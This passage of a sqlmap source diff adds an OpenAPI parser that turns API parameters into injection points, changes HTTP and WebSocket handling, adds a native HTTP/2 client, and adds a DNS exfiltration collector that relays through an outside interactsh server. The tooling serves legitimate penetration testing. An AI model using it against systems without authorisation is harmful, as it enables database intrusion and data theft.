if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
continue
try:
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
opServers = operation.get("servers") or item.get("servers")
base = rootBase
if opServers:
try:
base = _baseUrl(spec, origin, opServers)
except Exception:
base = rootBase
# merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins
params, seen = [], {}
for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])):
resolved = _resolve(spec, raw)
if isinstance(resolved, dict) and resolved.get("name"):
key = (resolved.get("in"), resolved.get("name"))
if key in seen:
params[seen[key]] = resolved
continue
seen[key] = len(params)
params.append(resolved)
urlPath = path if isinstance(path, six.string_types) else str(path)
query, headers, form, cookies = [], [], [], []
for param in params:
if not isinstance(param, dict):
continue
location, name = param.get("in"), param.get("name")
if not name:
continue
if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5)
name = str(name)
explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis
if explicit is not _NO_EXAMPLE:
value = _scalar(explicit)
else:
schema = param.get("schema") or {"type": param.get("type", "string")}
value = _scalar(_example(spec, schema, cache=cache))
if location == "path":
# mark the filled path segment as a (custom) URI injection point - path parameters are
# prime REST injection targets; the value is encoded first so its own chars add no mark
urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR)
elif location == "query":
# best-effort: array/object query params are scalarized (single value), NOT expanded per
# OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal
# is one testable request per operation, not faithful serialization
query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
elif location == "header":
# append the custom injection mark so the header value becomes a testable (custom)
# injection point (non-exclusive: query/body params are still auto-tested); skip names
# that are not valid HTTP field-name tokens
headerName = _headerClean(name)
if headerName and _HEADER_NAME_RE.match(headerName):
headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR)))
elif location == "cookie":
# a cookie name is a token; the value must not contain cookie-structure chars ('; ,'
# and whitespace) or a spec could smuggle extra cookie pairs
cookieName = _headerClean(name)
if cookieName and _HEADER_NAME_RE.match(cookieName):
cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value)))
cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR))
elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field
form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
if cookies: # aggregate all cookie params into a single Cookie header
headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies)))
urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded)
if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets)
urlPath = "/" + urlPath
url = base + urlPath
if query:
url += "?" + "&".join(query)
url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1"
if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL
logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path))
continue
data = None
body = _resolve(spec, operation.get("requestBody") or {})
content_ = body.get("content") if isinstance(body, dict) else None
if isinstance(content_, dict) and content_:
mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings
picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \
or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \
or (mediaTypes[0] if mediaTypes else None)
if picked:
mediaType = content_[picked] if isinstance(content_[picked], dict) else {}
example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis
if example is _NO_EXAMPLE:
example = _example(spec, mediaType.get("schema") or {}, cache=cache)
if "json" in picked:
data = _noMark(json.dumps(example, default=str))
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict):
data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items())
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
elif isinstance(example, six.string_types):
# raw (text / xml / ...) body -> mark it so the whole body becomes a testable point
data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR
headers.append((HTTP_HEADER.CONTENT_TYPE, picked))
else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization)
logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path))
elif isinstance(operation.get("parameters"), list) or isV2:
for param in params: # Swagger v2 in:"body"
if isinstance(param, dict) and param.get("in") == "body":
example = _example(spec, param.get("schema") or {}, cache=cache)
data = _noMark(json.dumps(example, default=str))
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body
data = "&".join(form)
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
retVal.append((url, str(method).upper(), data, headers or None))
except Exception as ex:
logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex)))
return retVal

View file

@ -57,7 +57,7 @@ from lib.parse.html import htmlParser
from thirdparty import six
from thirdparty.chardet import detect
from thirdparty.identywaf import identYwaf
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client

View file

@ -39,15 +39,18 @@ from thirdparty import six
def _isJsonResponse(headers):
"""
Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json'
or a structured suffix like 'application/vnd.api+json')
Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical
'application/json', the common misservings ('text/json', 'application/javascript', ...), or a
structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns
None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the
normal text comparison.
"""
retVal = False
if headers:
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
retVal = contentType == "application/json" or contentType.endswith("+json")
retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json")
return retVal

View file

@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDelayed
from lib.core.compat import LooseVersion
from lib.core.compat import patchHeaders
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import LIVE_COOKIES_TIMEOUT
from lib.core.settings import MIN_HTTPX_VERSION
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
@ -142,7 +140,7 @@ from lib.request.direct import direct
from lib.request.methodrequest import MethodRequest
from lib.utils.safe2bin import safecharencode
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib
@ -510,7 +508,10 @@ class Connect(object):
for key, value in list(headers.items()):
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
# keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted
# 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body
# we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity".
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity"
del headers[key]
if isinstance(value, six.string_types):
@ -523,31 +524,33 @@ class Connect(object):
if webSocket:
ws = websocket.WebSocket()
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or ""))
try:
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or ""))
_page = []
_page = []
if kb.webSocketRecvCount is None:
while True:
try:
_page.append(ws.recv())
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "too large websocket response detected. Automatically trimming it"
singleTimeWarnMessage(warnMsg)
if kb.webSocketRecvCount is None:
while True:
try:
_page.append(ws.recv())
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "too large websocket response detected. Automatically trimming it"
singleTimeWarnMessage(warnMsg)
break
except websocket.WebSocketTimeoutException:
kb.webSocketRecvCount = len(_page)
break
except websocket.WebSocketTimeoutException:
kb.webSocketRecvCount = len(_page)
break
else:
for i in xrange(max(1, kb.webSocketRecvCount)):
_page.append(ws.recv())
else:
for i in xrange(max(1, kb.webSocketRecvCount)):
_page.append(ws.recv())
page = "\n".join(_page)
page = "\n".join(_page)
finally:
ws.close()
ws.close()
code = ws.status
status = _http_client.responses.get(code, "")
@ -632,30 +635,22 @@ class Connect(object):
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
if conf.http2:
try:
import httpx
except ImportError:
raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
from lib.request.http2 import open_url as http2OpenUrl
if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
h2proxy = None
if conf.proxy:
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
if (_proxyParts.scheme or "").lower().startswith("socks"):
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
try:
proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
except IOError as ex:
raise _http_client.HTTPException(getSafeExString(ex))
else:
if conn.status_code >= 400:
raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
conn.code = conn.status_code
conn.msg = conn.reason_phrase
conn.info = lambda c=conn: c.headers
conn._read_buffer = conn.read()
conn._read_offset = 0
if conn.code >= 400:
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
@ -663,18 +658,6 @@ class Connect(object):
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
def _read(count=None):
offset = conn._read_offset
if count is None:
result = conn._read_buffer[offset:]
conn._read_offset = len(conn._read_buffer)
else:
result = conn._read_buffer[offset: offset + count]
conn._read_offset += len(result)
return result
conn.read = _read
else:
if not multipart:
threadData.lastRequestMsg = requestMsg

View file

@ -225,6 +225,68 @@ class DNSServer(object):
thread.daemon = True
thread.start()
class InteractshDNSServer(object):
"""DNS exfiltration collector backed by a public (or self-hosted) interactsh
interaction server instead of a locally-bound privileged :53 socket. This lets
the '--dns-domain' data-exfiltration technique run with zero infrastructure - no
delegated authoritative domain, no root/Administrator, no reachable listener -
by resolving lookups under the interactsh correlation domain and polling them
back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it
is a drop-in for conf.dnsServer.
"""
_POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
_POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
def __init__(self, server=None):
from lib.request.interactsh import Interactsh, hasCrypto
if not hasCrypto():
raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package")
self._client = Interactsh(server=server)
if not self._client.registered:
raise socket.error("could not register with an interactsh interaction server")
self.domain = self._client.dnsDomain()
self._seen = set()
self._running = True
self._initialized = True
def run(self):
"""No background listener is needed - interactsh does the receiving."""
pass
def pop(self, prefix=None, suffix=None):
"""
Returns a captured DNS lookup name matching the given prefix/suffix
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
Unlike the synchronous local DNSServer (which reads a query captured during the
very request), interactsh is remote and eventually-consistent: a just-triggered
lookup takes a moment to reach the collector and surface via its poll API. So we
poll a few times before giving up, instead of reading once.
"""
for attempt in range(self._POLL_TRIES):
for name in self._client.dnsNames():
if name in self._seen:
continue
if prefix is None and suffix is None:
self._seen.add(name)
return name
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
self._seen.add(name)
return name
if attempt < self._POLL_TRIES - 1:
time.sleep(self._POLL_DELAY)
return None
if __name__ == "__main__":
server = None
try:

669
lib/request/http2.py Normal file
View file

@ -0,0 +1,669 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
import base64
import socket
import ssl
import struct
import threading
try:
from http.client import responses as _HTTP_RESPONSES
except ImportError:
from httplib import responses as _HTTP_RESPONSES
try:
from urllib.parse import urljoin, urlsplit
except ImportError:
from urlparse import urljoin, urlsplit
from email.message import Message as _Message
REDIRECT_CODES = (301, 302, 303, 307, 308)
HUFFMAN_CODES = [
0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
0x3fffffff
]
HUFFMAN_LENGTHS = [
0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
]
STATIC_TABLE = (
(b':authority', b''),
(b':method', b'GET'),
(b':method', b'POST'),
(b':path', b'/'),
(b':path', b'/index.html'),
(b':scheme', b'http'),
(b':scheme', b'https'),
(b':status', b'200'),
(b':status', b'204'),
(b':status', b'206'),
(b':status', b'304'),
(b':status', b'400'),
(b':status', b'404'),
(b':status', b'500'),
(b'accept-charset', b''),
(b'accept-encoding', b'gzip, deflate'),
(b'accept-language', b''),
(b'accept-ranges', b''),
(b'accept', b''),
(b'access-control-allow-origin', b''),
(b'age', b''),
(b'allow', b''),
(b'authorization', b''),
(b'cache-control', b''),
(b'content-disposition', b''),
(b'content-encoding', b''),
(b'content-language', b''),
(b'content-length', b''),
(b'content-location', b''),
(b'content-range', b''),
(b'content-type', b''),
(b'cookie', b''),
(b'date', b''),
(b'etag', b''),
(b'expect', b''),
(b'expires', b''),
(b'from', b''),
(b'host', b''),
(b'if-match', b''),
(b'if-modified-since', b''),
(b'if-none-match', b''),
(b'if-range', b''),
(b'if-unmodified-since', b''),
(b'last-modified', b''),
(b'link', b''),
(b'location', b''),
(b'max-forwards', b''),
(b'proxy-authenticate', b''),
(b'proxy-authorization', b''),
(b'range', b''),
(b'referer', b''),
(b'refresh', b''),
(b'retry-after', b''),
(b'server', b''),
(b'set-cookie', b''),
(b'strict-transport-security', b''),
(b'transfer-encoding', b''),
(b'user-agent', b''),
(b'vary', b''),
(b'via', b''),
(b'www-authenticate', b''),
)
STATIC_LEN = len(STATIC_TABLE)
# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
# frame types (RFC 7540 s6)
DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
# flags
FLAG_END_STREAM = 0x1
FLAG_ACK = 0x1
FLAG_END_HEADERS = 0x4
FLAG_PADDED = 0x8
FLAG_PRIORITY = 0x20
CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
def encode_frame(ftype, flags, stream_id, payload=b""):
"""Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id.
>>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9])
(3, 1, 4, 1)
"""
if len(payload) > 0xffffff:
raise ValueError("frame payload exceeds 24-bit length")
header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
return header + payload
def decode_frame_header(nine):
"""Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off.
>>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9])
(0, 0, 0, 1)
"""
if len(nine) != 9:
raise ValueError("frame header must be exactly 9 bytes")
length = struct.unpack("!I", b"\x00" + nine[:3])[0]
ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
return length, ftype, flags, stream_id & 0x7fffffff
# ---------- Huffman ----------
def huffman_encode(data):
"""Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits.
>>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com'
True
>>> huffman_encode(b'') == b''
True
"""
if not data:
return b""
acc = 0
nbits = 0
for b in bytearray(data):
acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
nbits += HUFFMAN_LENGTHS[b]
pad = (8 - nbits % 8) % 8
acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
total = (nbits + pad) // 8
out = bytearray()
for i in range(total - 1, -1, -1):
out.append((acc >> (8 * i)) & 0xff)
return bytes(out)
_HUFF_ROOT = {}
def _build_huffman_trie():
for sym in range(256):
code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
node = _HUFF_ROOT
for i in range(length - 1, -1, -1):
bit = (code >> i) & 1
if i == 0:
node[bit] = sym # leaf: int symbol
else:
node = node.setdefault(bit, {})
_build_huffman_trie()
def huffman_decode(data):
out = bytearray()
node = _HUFF_ROOT
consumed = 0 # bits into the current (partial) symbol
for byte in bytearray(data):
for i in range(7, -1, -1):
bit = (byte >> i) & 1
nxt = node.get(bit)
if nxt is None:
raise ValueError("invalid Huffman sequence")
consumed += 1
if isinstance(nxt, dict):
node = nxt
else:
out.append(nxt)
node = _HUFF_ROOT
consumed = 0
# RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
if node is not _HUFF_ROOT:
if consumed >= 8:
raise ValueError("Huffman padding too long")
# walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
# since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
return bytes(out)
# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
def encode_integer(value, prefix_bits, first_byte=0):
"""Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix.
>>> list(encode_integer(10, 5))
[10]
>>> list(encode_integer(1337, 5))
[31, 154, 10]
"""
mask = (1 << prefix_bits) - 1
if value < mask:
return bytearray([first_byte | value])
out = bytearray([first_byte | mask])
value -= mask
while value >= 0x80:
out.append((value & 0x7f) | 0x80)
value >>= 7
out.append(value)
return out
def decode_integer(data, pos, prefix_bits):
"""Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1).
>>> decode_integer(bytearray([31, 154, 10]), 0, 5)
(1337, 3)
"""
mask = (1 << prefix_bits) - 1
value = data[pos] & mask
pos += 1
if value < mask:
return value, pos
shift = 0
while True:
b = data[pos]
pos += 1
value += (b & 0x7f) << shift
shift += 7
if not (b & 0x80):
break
return value, pos
def encode_string(value, huffman=True):
if huffman:
encoded = huffman_encode(value)
if len(encoded) < len(value): # only use Huffman when it actually shrinks
return encode_integer(len(encoded), 7, 0x80) + encoded
return encode_integer(len(value), 7, 0x00) + bytearray(value)
def decode_string(data, pos):
huffman = bool(data[pos] & 0x80)
length, pos = decode_integer(data, pos, 7)
raw = bytes(data[pos:pos + length])
pos += length
return (huffman_decode(raw) if huffman else raw), pos
# ---------- dynamic table + decoder/encoder ----------
class Decoder(object):
def __init__(self, max_size=4096):
self.max_size = max_size
self.dynamic = [] # newest first: [(name, value), ...]
self._size = 0
def _entry_size(self, name, value):
return 32 + len(name) + len(value)
def _add(self, name, value):
self.dynamic.insert(0, (name, value))
self._size += self._entry_size(name, value)
self._evict()
def _evict(self):
while self._size > self.max_size and self.dynamic:
name, value = self.dynamic.pop()
self._size -= self._entry_size(name, value)
def _get(self, index):
if index <= 0:
raise ValueError("invalid header index 0")
if index <= STATIC_LEN:
return STATIC_TABLE[index - 1]
index -= STATIC_LEN + 1
if index >= len(self.dynamic):
raise ValueError("dynamic index out of range")
return self.dynamic[index]
def decode(self, data):
"""Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6).
>>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')]
True
"""
data = bytearray(data)
pos = 0
headers = []
n = len(data)
while pos < n:
byte = data[pos]
if byte & 0x80: # 6.1 indexed
index, pos = decode_integer(data, pos, 7)
headers.append(self._get(index))
elif byte & 0x40: # 6.2.1 literal + incremental indexing
index, pos = decode_integer(data, pos, 6)
if index:
name = self._get(index)[0]
else:
name, pos = decode_string(data, pos)
value, pos = decode_string(data, pos)
self._add(name, value)
headers.append((name, value))
elif byte & 0x20: # 6.3 dynamic table size update
new_size, pos = decode_integer(data, pos, 5)
self.max_size = new_size
self._evict()
else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
index, pos = decode_integer(data, pos, 4)
if index:
name = self._get(index)[0]
else:
